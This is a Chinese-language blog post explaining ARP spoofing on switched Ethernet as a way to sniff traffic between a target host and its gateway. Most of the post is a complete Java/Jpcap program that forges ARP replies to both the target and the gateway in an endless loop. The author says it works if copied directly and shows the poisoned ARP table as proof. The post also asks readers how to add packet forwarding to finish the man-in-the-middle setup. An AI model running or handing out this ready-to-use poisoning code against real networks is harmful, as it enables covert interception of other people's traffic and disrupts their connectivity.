给这篇文章留第二集,是因为目前为止,我还有个很重要的事情没有完成。
但事情总是慢慢进步,我把第一步的实现原理以及过程跟各位说一下,也算为大家做点贡献。
当然我实现的代码是用JAVA写的,所以那些学C++的只能是借鉴一下。
1、ARP欺骗原理
这种原理,我想各位感兴趣的应该知道是回什么事了,ARP欺骗,顾名思义,就是改变人家ARP缓冲表的对于关系,我这里不多说这方面的知识,是因为ARP欺骗原理,随便到谷歌一搜有大片的知识。
2、ARP欺骗的目的
做事情总有它的理由,比如ARP欺骗绝对不是随便一个欺骗那么简单,现今以太网采取的都是交换式网络,所以在以太网中传输的数据,首先会提交个交换机,交换机在依照MAC地址,把数据发送出去。这点与共享式网络是完全不同的,共享式网络会广播发送数据包,只要有一方的 MAC地址与目的地址相同就接收,这就是交换式网络与共享式网络的不同,集中一点说明就是:共享式网络中的每太主机都会接收到网络中的任意数据,只要把网卡模式改为混杂模式就可以监听任意数据包,但是交换式网络并非如此,所以这对于监听工作是一大挑战。ARP欺骗的目的就是:改变交换机的ARP缓冲表,改变目的主机的ARP缓冲表。这样一来,进行监听的主机就可以冒充交换机接收目的主机提交的数据了,进行监听的主机也可以冒充目的主机接受交换机提交上来的数据了。这就是为什么搞ARP欺骗。
3、ARP欺骗的实现
网络上写了很多,但大多只是原理,没有给出具体实现的代码。我把它拷出来,希望大家提出意见
我用的是一个叫做JPcap的开发包,它可以构造ARP包,并且发送数据包。具体实现的代码如下
(由于本人时间过急,代码的实现比较烂,以后慢满改进)
import java.net.InetAddress;
import java.lang.*;
import java.io.*;
import jpcap.*;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.packet.Packet;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.ARPPacket;
public class SendARP
{
public static void main(String[] args) throws java.io.IOException{
final byte[] src_ip=new byte[] {(byte)10,(byte)0,(byte)0,(byte)111};
final byte[] src_mac=new byte[] {(byte)0x00,(byte)0x11,(byte)0x2f,(byte)0x49,(byte)0xaf,(byte)0x8f};
final byte[] dst_ip=new byte[] {(byte)10,(byte)0,(byte)0,(byte)6};
final byte[] dst_mac=new byte[] {(byte)0x00,(byte)0x11,(byte)0x2f,(byte)0x49,(byte)0xaf,(byte)0x92};
final byte[] gate_ip=new byte[] {(byte)10,(byte)0,(byte)0,(byte)2};
final byte[] gate_mac=new byte[] {(byte)0x00,(byte)0xd0,(byte)0x41,(byte)0x00,(byte)0x94,(byte)0xad};
NetworkInterface[] devices = JpcapCaptor.getDeviceList();//选择监听设备
JpcapCaptor jpcap=JpcapCaptor.openDevice(devices[1], 10000, false, 500);//打开监听
JpcapSender sender=JpcapSender.openDevice(devices[1]);
ARPPacket p1=new ARPPacket();//构造第一个ARP包
p1.hardtype=ARPPacket.HARDTYPE_ETHER;
p1.prototype=ARPPacket.PROTOTYPE_IP;
p1.operation=ARPPacket.ARP_REPLY;
p1.hlen=6;
p1.plen=4;
p1.sender_hardaddr=src_mac;
p1.sender_protoaddr=gate_ip;
p1.target_hardaddr=dst_mac;
p1.target_protoaddr=dst_ip;
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=src_mac;
ether.dst_mac=dst_mac;
p1.datalink=ether;
ARPPacket p2=new ARPPacket();//构造第二个ARP包
p2.hardtype=ARPPacket.HARDTYPE_ETHER;
p2.prototype=ARPPacket.PROTOTYPE_IP;
p2.operation=ARPPacket.ARP_REPLY;
p2.hlen=6;
p2.plen=4;
p2.sender_hardaddr=src_mac;
p2.sender_protoaddr=dst_ip;
p2.target_hardaddr=gate_mac;
p2.target_protoaddr=gate_ip;
EthernetPacket ether1=new EthernetPacket();
ether1.frametype=EthernetPacket.ETHERTYPE_ARP;
ether1.src_mac=src_mac;
ether1.dst_mac=gate_mac;
p2.datalink=ether1;
while(true){
sender.sendPacket(p1);//把第一个数据包发送给目标主机,改变其ARP缓冲表
sender.sendPacket(p2);//把第二个数据包发送给交换机,改变其ARP缓冲表
}
}
}
这个程序直接copy 就可以实现了
4、结论
通过发送两个数据包(ARP响应数据包)。修改了目标主机的ARP表,此时如果查看目标主机的ARP表:
arp -a
10.0.0.2 00.11.2f.49.af.8f
10.0.0.11 00.11.2f.49.af.8f
即多个IP地址对于了一个MAC地址。这样ARP欺骗就成功了
5、不足
到目前为止,目标主机并不能够上网。也就是我没有实现转发数据包的功能,我最近来想怎么实现,如果有哪位可以告诉我,那我真感激不尽。rocket5725@163.com